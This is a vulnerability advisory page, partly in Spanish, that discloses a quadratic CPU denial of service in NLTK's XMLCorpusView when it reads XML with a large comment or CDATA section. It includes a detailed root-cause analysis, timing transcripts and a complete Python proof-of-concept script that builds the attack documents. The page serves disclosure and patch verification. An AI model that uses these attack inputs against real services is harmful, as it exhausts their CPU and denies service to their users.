GHSA-J8G8-J4J7-8J54
NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.10.4 | nltk · -29 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-J8G8-J4J7-8J54 divulgada · CVSS 7.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> affected: PyPI `nltk` `>= 3.6` — `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it)
> dynamically reproduced: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6)
---
_Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel's `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel._
Summary
An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView._read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. `XMLCorpusView` is NLTK's documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `<...>` tag and leaves the CDATA/comment path quadratic in the current release.
Details
Root cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate:
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))
return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class:
... # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
...For this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `<` (e.g. `<root>…`), so the first `<`/`>` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `<`, which for this input sits near the end of the buffer).
`_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!-->).)*` / `(?:(?!\]\]>).)*` scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.
The `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `<`/`>` characters: it is `True` inside an unclosed `<...>` tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary `<`/`>` inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.
The single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.
Version nuance (all dynamically verified):
- `3.10.3` / `develop` (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.
- `3.6` / `3.9.2` (pre-guard): these releases use a *lazy* `_VALID_XML_RE` whose CDATA alternative `<![CDATA[.*?]]>` never matches (the `[CDATA[.*?]` substring is parsed as a character class), so a CDATA document is rejected with `ValueError: Unexpected end of file: tag not closed` after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.
PoC
The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing `<`/`>` characters with no `-->` before the final marker, drives `XMLCorpusView`'s fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.
Scope note: dynamically run on `3.6`, `3.9.2`, `3.10.3` (released wheels from PyPI / the local 3.10.3 wheel) and `develop` `6818767b9` (checked out source). No releases outside those were run; the `>= 3.6` bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.
Live transcript (recorded run on the `3.10.3` wheel; the `3.6`, `3.9.2` and `develop` `6818767b9` runs are summarized below):
[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned)
[PASS] CDATA variant also super-linear on guard-present build (measured 15.3)
[TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79)
[TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failedOther runs (all 6/6; essential lines only):
3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)
Impact
- Type: CWE-407 / CWE-400 — CPU exhaustion / algorithmic-complexity denial of service on a single untrusted corpus-file read; no confidentiality or integrity impact.
- Who is impacted: any deployment that feeds corpus XML to `XMLCorpusView` (or to the `nps_chat` / `framenet` readers) from a source not fully trusted — the exact "untrusted input" threat model in `SECURITY.md`. The input is ordinary, *well-formed* XML; nothing about it is malformed or rejected by any parser.
- Attacker requirements: deliver a well-formed XML file whose body contains a large comment or CDATA section with `<`/`>` characters and the terminator at the end. No privilege and no user interaction are required beyond the *automated* read of the file — the same delivery model as other NLTK resource-loading issues (`SECURITY.md`), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies `UI:N` and `AV:N` in the score above.
- Effect: measured 256 KiB → ~1.1 s single read; cost scales with the square of the input size (t(4n)/t(n) ≈ 13-16), so a few MiB reaches tens of seconds and tens of MiB reaches minutes of CPU on a single core. Because the file is well-formed and the read eventually succeeds (current releases), ordinary users observe only severe slowdown; a scheduler/job that processes many such files is trivially pinned.
Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like `in_tag` already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed `<!...` construct (no `]]>` / `-->` / doctype terminator yet), and skip the whole-buffer matches at `xmldocs.py:308` and `xmldocs.py:329` whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing `nltk/test/unit/test_quadratic_dos.py` cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.
---
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).
Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.
The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.
Controls:
1. Well-formedness: the attack document parses with ElementTree.
2. Linear baseline on the same reader: an oversized *single tag* of the same
size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
case). On pre-guard builds it is quadratic too -- reported, not asserted.
3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
same sink.
Assertions:
- attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
- tag-control doubling ratio must be ~linear (< 8) when the guard is present.
Usage:
python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
PYTHONPATH : site-packages of the nltk version under test (required)
NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time
import xml.etree.ElementTree as ET
# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
_DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
os.environ["NLTK_DATA"] = _DATA_ROOT
_CLEANUP_ROOT = _DATA_ROOT
from nltk.corpus.reader.xmldocs import XMLCorpusView
def elapsed(fn):
start = time.perf_counter()
fn()
return time.perf_counter() - start
def build_comment_doc(body_size):
# Well-formed XML: one root, one large comment containing '<' and '>' and
# no '-->' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><!-- " + body + " --></root>"
def build_cdata_doc(body_size):
# Well-formed XML: one root, one large CDATA containing '<' and '>' and no
# ']]>' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body + "]]></root>"
def build_unclosed_cdata_prefix(body_size):
# The line-308 match input: an accumulating fragment that is still inside
# an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
# reuse with the attack-timing buffers above, which would skew the timing.
body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body
def build_giant_tag(body_size):
# Control: a single oversized '<a ...>' tag, no '>' until the very end.
return "<a " + ("x" * body_size) + ">"
def guard_present():
import nltk.corpus.reader.xmldocs as m
with open(m.__file__, encoding="utf-8") as fh:
return "in_tag" in fh.read()
view = XMLCorpusView.__new__(XMLCorpusView)
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))
def read_frag(doc):
"""Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
releases raise for CDATA-containing documents."""
try:
return view._read_xml_fragment(io.StringIO(doc))
except ValueError as exc:
return "ValueError: %s" % exc
def time_ratio(build, n1, n4):
d1, d4 = build(n1), build(n4)
t1 = elapsed(lambda: read_frag(d1))
t4 = elapsed(lambda: read_frag(d4))
return d1, d4, t1, t4
# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)
# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1) # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s "
f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})")
check(
"attack document is well-formed XML (parses with ElementTree)",
ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
"unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
ratio > 10.0,
f"measured {ratio:.1f}",
)
# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s "
f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})")
if has_guard:
check(
"CDATA variant also super-linear on guard-present build",
dratio > 10.0,
f"measured {dratio:.1f}",
)
else:
# Pre-guard releases cannot validate any CDATA (their regex's CDATA
# alternative never matches), so the fragment ends in ValueError -- a
# separate functional defect; report only.
check(
"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
doutcome.startswith("ValueError"),
str(doutcome),
)
# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)
return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))
ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s "
f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s")
check(
"single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
ms[1 << 21] / ms[1 << 19] < 6.0,
f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)
# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s "
f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
gratio < 8.0,
f"measured {gratio:.1f}",
)
else:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s "
f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag also super-linear pre-guard (report-only)",
gratio > 4.0,
f"measured {gratio:.1f}",
)
# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
fh.write(c1)
try:
items = list(XMLCorpusView(path, ".*"))
check(
"public API list(XMLCorpusView(path, '.*')) reads the attack document",
len(items) >= 1,
f"{len(items)} item(s) read from {len(c1)}-byte document",
)
finally:
if _CLEANUP_ROOT:
shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)
passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)Fix status (2026-09-28)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
Two open pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).
The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).
Release: none.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypinltk |
Corregida | 3.10.4 | -29 d | 3.10.4 no afectada |
3.10.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-128139https://github.com/nltk/nltk/security/advisories/GHSA-j8g8-j4j7-8j54https://github.com/nltk/nltk/commit/9cacbb95d97eaac7debb30d6e7decbe74d2c635fhttps://github.com/nltk/nltkhttps://github.com/nltk/nltk/releases/tag/v3.10.4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
